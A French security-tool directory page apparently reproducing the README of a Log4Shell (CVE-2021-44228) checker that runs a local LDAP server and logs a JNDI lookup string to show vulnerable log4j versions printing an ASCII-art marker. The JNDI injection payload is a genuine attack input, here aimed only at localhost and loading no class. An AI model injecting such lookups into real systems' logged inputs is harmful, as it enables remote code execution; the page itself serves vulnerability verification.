Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-44228 — Vérificateur de vulnérabilité CVE-2021-44228 | Kitploit
Outils/GitHubGitHub/greymd/cve-2021-44228
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubgreymd/cve-2021-44228

CVE-2021-44228

Vérificateur de vulnérabilité CVE-2021-44228

Voir le dépôt
3542il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vérificateur CVE-2021-44228

Ce dépôt permet de vérifier la vulnérabilité CVE-2021-44228.

Ceci est une POC qui affiche uniquement des chaînes sans chargement de classe externe. Elle ne peut pas être utilisée pour l'exécution de code arbitraire.

Comment ça fonctionne ?

Étape 1 : Lancer l'application serveur

L'image ghcr.io/greymd/cve-2021-44228/server est disponible et peut être exécutée avec Docker.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

Étape 2 : Accéder au point de terminaison avec log4j

Préparez le code pour journaliser les logs en utilisant log4j et exécutez-le sur le même hôte. Faites en sorte que la chaîne de sortie soit ${jndi:ldap://127.0.0.1:1389/a}.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}
Télécharger l’outil

Si l'argument est de nature à provoquer une vulnérabilité, l'expression 「うんこもりもり」(qui signifie « Beaucoup de merde ») sera enregistrée avec succès.

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Si vous avez la flemme d'écrire et de compiler votre code, vous pouvez utiliser une simple application de journalisation dans ce dépôt. Le premier argument sera affiché par le Logger.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

Un exemple d'argument provoquant une vulnérabilité serait le suivant.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Si vous disposez d'une version de log4j qui n'est PAS affectée par la vulnérabilité, ou si l'application serveur ne tourne pas, la chaîne sera affichée telle quelle sans aucune modification. Vous pouvez le vérifier en mettant à jour la version de l'application de journalisation comme indiqué ci-dessous.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Lancer l'application serveur sans Docker

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

Motivation

Comme je l'ai mentionné (et d'après ce que j'ai trouvé), cette vulnérabilité ne sera pas reproduite à moins que le serveur de destination de JNDI ne soit en cours d'exécution. Par conséquent, une simple POC est utile.

Références

Les URLs suivantes ont été utilisées comme référence dans l'implémentation.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

Versions testées

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)